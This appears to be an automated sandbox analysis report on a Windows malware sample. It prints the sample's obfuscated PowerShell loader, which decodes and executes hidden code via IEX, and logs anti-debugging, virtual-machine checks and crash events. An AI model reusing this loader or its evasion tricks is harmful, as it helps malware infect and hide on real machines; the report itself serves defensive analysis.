S3Na1UdFSu1KiFBu1SaABi1GlB F0 fDSu4 I8Da5Gl7Sk5Nr2Ls5FoEmn5Fo6Ly3Re1Tu0 NDTr0WoDNa1Ra7Co1SkBLe4HoCKl5MiE D3DeEHa5Kh6Sn2Mu5Ne3re7 K1 r0Op0 cAMa4GeDRe4SaCfi2Bu3Ch5Sk2re5UeE S2Or5Ud3 S7Di1Un0Bi0InAUd4OvDAg4VeCOp2tr3Nu5Ol2Fr5 IEBa2In5sk3Re7Ro1 K0 F0AeANo4CoDBa4 uCSe2Br3Sh5Si2 C5IdEUd2Co5de3ph7Vi1Re0 S0AnAKa4TrDUp4 UC U2 T3 C5Ak2In5UnEIn2sp5 R3 s7Co1Pa0Ny0TeA F4InDAg4MiC K2Un3Ek5Tr7Ov5FoEWr5Ri6 W2Vi5Bu3Ba7 S1di0Sa0VaAas2 SE C0FoA A0RuCPs2Co3Go5Ud7Sc5De7Up5Re7Ud' D)Ne;Br&Ta( P`$ SASefFrsRek RrPyiVevPanTriPenKlgSus vmAna AaKed Te BsRe7De)ba F(FrJEfaSumPobPreTeaUvufixCo0re4An Fl'An5SuAHa2thBRe1Pr0 P1FaASt1Af7De1Cy8Se1Tr8Me1 SB R0SiCBa1GuBKa1Fl0Pe0SeAOp1En7 N1SiFWo1HjCri1be2Un0Cr7Pt5ecEBo4Gr3 S5SuEFl5 SA D2CrEUt1de1No1StACy0MiBRh1Ur0 U1De5af5Af0Pa3br7 S1Ov0Is0Ko8Un1Ov1Da1 B5 r1ChBSu5Pl6Bo5 E3St4 LFAm5Fi2 S4WeEFo5To2Ca4 I8An4AlA F5In2Du4ThEMa5Au2ri5DoE S4Fu7 K4In6Ku4NiC F4 sE E4 PBTr4 E8Or4Ka7Sp4Pa8pr5El2Fi4MiEBy5Pa7 O' V)Re;Mi&Se( T`$TeA RfAvsKakHerhyiNov unMaiCun SgNesDum CaPoaTrdRee FsKa7Li)Pi Tr(MoJNaaKrmItbUdeOpaPiuStxTh0 K4Da Im'Ja5StARy3 T8Ha0 BCRe1NeFno1 S2 K1In9Pr1Ch9mu1TrB C1 K2Pr0DeD R1PuBTy0ToC R5 PEBo4 S3 S5OlELi5KoA M2 GDme1Sa5Un1 AFKo0HaAUn1Di5Si1AgFCr1Us3 P1Ar3Re1EnBSp0flCUn1ImCKo1ReBMo0 f8 E1Gi7Ss0UnD I1GeBMi0DkCAd1 D0Br1InBPh5 S0 C3Pr7Sq1Un0Do0Cl8Ha1 H1Fo1 S5Ad1EfBEu5Ba6 l5NyANo2InBHa1 P0Co1MeA V1Am7Ca1So8br1sh8Je1ecBIn0 RCHy1 SBEn1 A0Na0unADi1 T7Un1BiFUn1DeCUn1 S2In0Ud7Ge5Po2Uk4knEbu2ma6Ca4ArCCa4SiCFa5Ni2Pr4 eEIt5Hv2Ve4KoEIn5Un2Me4TaENi5De7 T'Sp)Dr;sy`$UmFPir Pa Ug Otskt IeUdrSkm uiSpnLea DlTueUmnSts A2 O=Gu`"""Ta`$OceIfnUnvSu:daTBrEUdMbaPPi\Caa PfMidakeBrlMiiSon Kg Ls FaAgrUnk DiWatSve OkAft AeAcrfasPr\HeABecRaaFonCotTrhTruBerFiiSdd CaBoeOv\ AG TeRaoIngMurKoaSafNaiSts S\EmLTeufonmia PthaiSkzopeRa\CoBOpiSvl AeStrGrs G.MeCMyhRiarh`"""Lo;Ce&Co(Pi`$SiAUhfAnsUtkAnrSgiDivMinpuiEtnOrgAdsUnmsha Iaovd MeCasPr7Sp) O S(NeJ HaSlm AbIleUnaUsuPhxfe0 S4Mu Ac'Cr5SkAUn3EkCNa1WiBMi1SvFOv0TiC R1Vr0 D1EsFSt1Li7Af0 SDTi1 CBUn0LoDAn5SmE E4So3 S5WaEHa2Fa5 s2AcD S0Sn7 C0PlDFl0oeACl1 LBEx1un3Sa5Ve0Pe3As7Pr3He1Kl5No0St3Ul8Jo1Ge7St1Ca2ch1 NBCa2Je3 S4Ta4 u4 a4Kl2haC E1UrBPa1 EFFo1ImAPa3KaF P1 S2Le1ma2In3BuCSi0Fn7Fl0BaAKl1 SBKr0 HD B5Un6Ti5ReASp3Mo8De0ObCVo1CoFKo1Un9Ki0BrASh0 GABr1ByBBo0UlC R1Ti3In1Ra7Vi1Pr0Ar1CaFTe1 R2Af1DiBko1Ac0Te0ChDGy4 BCma5Vi7De'Ti) R;Aa`$MaUTreSkrGeh loSpl OdPeedalFriDegKueVe=Re`$SuBUveDea BrudnBlaTeisasWee TsFe. AcKooteuFlnSttIn-Le1Om0Fl2Op4Tr;Ry&Sy( O`$FuAPefCosGrkBurFii DvChnHdiamnHogSesUsmraaWiaUndWueBosKi7Bo)Fr Ep( LJBaa Fmleb feEyaSpuOpxCo0 S4Mu Pr'Al2Mi5St2paDEx0Ex7Qu0RuDEl0 GA J1PrBsk1De3Mo5 R0Fe2GrC R0reBPa1Be0Ne0AgAKl1 a7Re1Je3 T1unBMo5Di0Pl3 V7Mo1Sp0Da0 HAPr1 RBCr0TlCPr1St1Do0AfEKi2KuD d1SeB R0 SC F0 V8 V1 S7Di1BrDTa1 SBBr0 RDRo5sv0Et3Si3Br1FiFSo0EfCbe0 TD D1 G6Vo1HoFSm1Fo2Pr2Fr3 P4 D4de4Sy4Ad3MuDNe1au1tv0BeEMa0Tr7Ad5 F6Ly5GrASe3CrCKa1PhBEn1CoFCa0BeCJu1In0Rd1SeFSm1Kl7re0OpD D1huBFr0CoDMi5Se2Ov5BrE A4PeFEv4WhEOe4DoCHa4CoARe5Lo2Va5 AE c5 AAba3Fl8Eq0StCLa1buF T1So2Be1Sp9Pa1Be9Ac1FiBfo1Ub2Ra0 DDTo1BlBWi0DeCVe5Ge2Mo5MoEph5 XAGl2 SB t1LdBJu0ReCPa1Fo6Su1No1Al1Mo2Du1CoAIn1 BBFi1 u2Ad1Bl7St1Va9Ra1ddBBi5In7Un' U)in;Pj&Vi( L`$OpA EfCos IkLerDii OvOpnTai CnRog psGrmUlaKoaTrdMie Dsbe7hy) G Ri( HJ maKomgtbBeePaatauFrxTe0De4Ac An' G5ReAHa0 CABo0Pa9Sa1FrB B1plBFi0 SDBo1Na6Ba1UnDEl0VeFRe0StB R1Po7Ha0 SA K0NyAud1 SBHy1FoASt5DyEDe4Fr3Vi5 CE T2Ro5 G2FlD T0Me7im0StDRe0 BARe1SpB V1Re3vi5Us0ca2AgC A0 TBVi1Kl0Fy0PhAva1Fo7 H1ko3Sc1BiB F5Ma0ps3 C7Ok1 J0Kl0 hAGa1 RBAl0 lCSk1Fe1Di0IsEIl2MaD U1ThBBl0FiCUn0co8ho1Uv7 F1UdDMo1tiBSp0StDWe5Co0Lo3Re3If1GoF E0EfCSe0 EDFa1In6 S1 TF o1Fo2 C2Tm3Hu4Th4Pr4 m4Bo3Am9Na1 DBPe0 TA M3UdAMe1RoBMi1Un2Aa1LbBTr1Fu9Wr1TiFSk0BuA P1LiBOv3Te8As1Ca1Bo0SuCGr3Bn8Ho0 OBBe1Ho0Bi1LiD K0 CAGe1Me7La1fl1Im1Ti0Se2moESt1Sk1Fo1ex7nr1Ti0dy0 sASa1VaBTj0ReCBu5Sa6 B5 G6Sa3Ch1Ci0CoDRe0 CDun1Al7Fr1AtB O4 PDVe5CiEVi5PiAeg2 TC r0go7Te1Pj2 E1HyBDe1 S0 T4SeCPr4PeFBa4El7Am5TrEOm5FoAFi2KoDFo1RoF P1Sa0Re1KeATr0 SDTr1Si2re1ja1Oc0AfAEl0AdAma1BaBUn0NoALo0 SDAz5Af7Kr5Kn2Co5HjESa5Op6Hv3 V1Pa0 cDSi0StDHe1In7Br1 KBMi4feCte5TuEDa3 GEAd5Un6Oo2 D5Fl3 u7 f1Le0Mo0AlAHi2ovEca0BaA T0AaC K2 T3 F5Em2 a5ByEUb2Pa5Ca3La7 T1 V0Te0KlAUn2AmESt0 FA M0ReCKr2 B3 E5 V2Fe5PaETo2Fo5ho3 B7Li1Te0Ma0DiABe2 NE P0ruADi0FoCMm2Ll3in5Ak7Ma5ImEpa5Ke6Re2Ba5Pa3Tr7Sp1 V0po0DiABe2RlEUn0KoA G0UnCHn2 s3Ma5Ca7 G5Re7Al5No7 S'Ig)Fs;Ov&Fe(Va`$reAalfBuspokKorSpiHjv EnSciDanbegNisEgmimaEpaSkdIne BsVi7po)Er Vr( SJGaaBemHeb Ee SaEmuPrxMu0Wa4He Je'Ar5ReAPe0unAIn0Pe9Bo1OfBSp1FrBRe0NiDCo1On6Up1LoDHo0ReFRe0BeBSc1Li7To0MaAcr0AsACu1HvBSi1HeAEk5Ti0Co3Su7Ki1Ch0ap0Fe8Cr1 T1Aa1Po5Kl1TaB D5Ps6re4 rEVo5Af2Mo5MoASq3Te8Kr0DdC P1BoFBl1Ma2La1Cy9Dy1Ka9Ba1poBDk1Ge2bl0LeDfj1anBUn0SmCGr5 H2Bl4SpEGe5Di7St'Ni) U#Sk;""";function Ossie5 ($tweesh,$Tekstbaseret) { &$Ossie0 (Undergunner9 'Ar$ FtKew OeCoe FsPohFl Od- tbMoxReoHjrMi N$taTHyeBykMasUnt UbCha VsFieKarKreRetLo ');}Function Undergunner9 ($Stavenes) { $Hansens=2+1; For($Degradand=2; $Degradand -lt $Stavenes.Length-1; $Degradand+=($Hansens)){ $Omstter = 'su'+'bstri'+'ng'; $Jambeaux = $Jambeaux + $Stavenes.$Omstter.Invoke($Degradand, 1); } $Jambeaux;}$Ossie0 = Undergunner9 'MeI VEHaXsl ';&$Ossie0 (Undergunner9 $Hooray);<#Typy Tinder Procentsatsers Manned Tvistepunkters skibsbyggere Bloodwood #>;"
    2760

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 12, 2023, 7:42 a.m.			0	0
IsDebuggerPresent Dec. 12, 2023, 7:42 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033e2d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ee18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033e258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033e258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033e258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033eb18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ec58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ef98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033eed8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033eed8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f2b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039fcb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039fcb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039fcb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039f378 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 12, 2023, 7:42 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

One or more processes crashed (50 out of 65536 events)

Time & API	Arguments	Status
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc f1 7f d8 50 eb f6 32 d2 02 ec 9e 9c 48 26 4c exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a98e3 registers.esp: 102033552 registers.edi: 362056 registers.eax: 84752688 registers.ebp: 102033552 registers.edx: 177901568 registers.ebx: 177901568 registers.esi: 1995838602 registers.ecx: 177903793	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: f3 0f c7 33 00 00 00 00 00 00 00 00 00 00 22 cf exception.instruction: vmxon qword ptr [ebx] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9a9979 registers.esp: 102033552 registers.edi: 362056 registers.eax: 84752688 registers.ebp: 102033552 registers.edx: 177901568 registers.ebx: 177901568 registers.esi: 1995838602 registers.ecx: 177903793	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 1e 49 7e f5 6e ca e8 57 2c 76 40 23 10 16 1c exception.instruction: mov dword ptr [esi], ebx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a99b4 registers.esp: 102033544 registers.edi: 362056 registers.eax: 84752688 registers.ebp: 102033552 registers.edx: 177901568 registers.ebx: 177901568 registers.esi: 57133 registers.ecx: 177903793	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 66 0f c7 30 00 00 00 00 00 00 00 00 00 00 1b e3 exception.instruction: vmclear qword ptr [eax] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9a99e9 registers.esp: 102033552 registers.edi: 362056 registers.eax: 1968898048 registers.ebp: 102033552 registers.edx: 3905626583 registers.ebx: 3459760 registers.esi: 3459784 registers.ecx: 16	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 3f aa 2c 47 e5 85 6e 9a 16 38 b3 93 da 2b a8 exception.instruction: mov dword ptr [edi], edi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9a22 registers.esp: 102033548 registers.edi: 61975 registers.eax: 1968898048 registers.ebp: 102033552 registers.edx: 3905626583 registers.ebx: 3459760 registers.esi: 3459784 registers.ecx: 16	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 37 3d 28 9c 29 14 7c 85 ac 63 b3 d8 ac 08 44 exception.instruction: mov dword ptr [edi], esi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9a4f registers.esp: 102033548 registers.edi: 24519 registers.eax: 1968898048 registers.ebp: 102033552 registers.edx: 3905626583 registers.ebx: 3459760 registers.esi: 3459784 registers.ecx: 3459760	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 36 c2 c5 8d a7 a3 8c c3 60 ee 74 a0 7e 1e d7 exception.instruction: mov dword ptr [esi], esi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9aa5 registers.esp: 102033548 registers.edi: 362056 registers.eax: 1968898048 registers.ebp: 102033552 registers.edx: 2906304275 registers.ebx: 3459760 registers.esi: 57639 registers.ecx: 3459760	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 7c 0d bf 54 9e ac 02 cb 8b c7 ba ca 88 6f 28 c9 exception.instruction: jl 0xa9a9b06 exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9a9af7 registers.esp: 102033544 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 102033540 registers.esi: 3459784 registers.ecx: 256	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 6d c5 b3 3c 1e 6f 66 a4 c7 0a f6 7e 62 10 d0 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9b15 registers.esp: 102033552 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc d4 89 f1 07 9c 60 da 69 8b 7e 4d ee c5 0b 31 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9b4a registers.esp: 102033552 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 2115063379 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 0e 6e f7 a0 0e b3 c8 b1 d0 01 a0 ea c3 1d 40 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9b81 registers.esp: 102033552 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3290258385 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 66 0f c7 33 00 00 00 00 00 00 00 00 00 00 0e 9e exception.instruction: vmclear qword ptr [ebx] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9a9ba8 registers.esp: 102033552 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3290258385 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 76 08 f6 61 e9 da 87 6b ba 17 59 b4 f6 af 1c d1 exception.instruction: jbe 0xa9a9c0a exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9a9c00 registers.esp: 102033544 registers.edi: 362056 registers.eax: 256 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 102033540 registers.esi: 1709689827 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 70 7b 99 7b 17 c3 c3 5a e0 fc 53 7f fa 22 d1 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9c37 registers.esp: 102033552 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 16384 registers.ecx: 1216	1
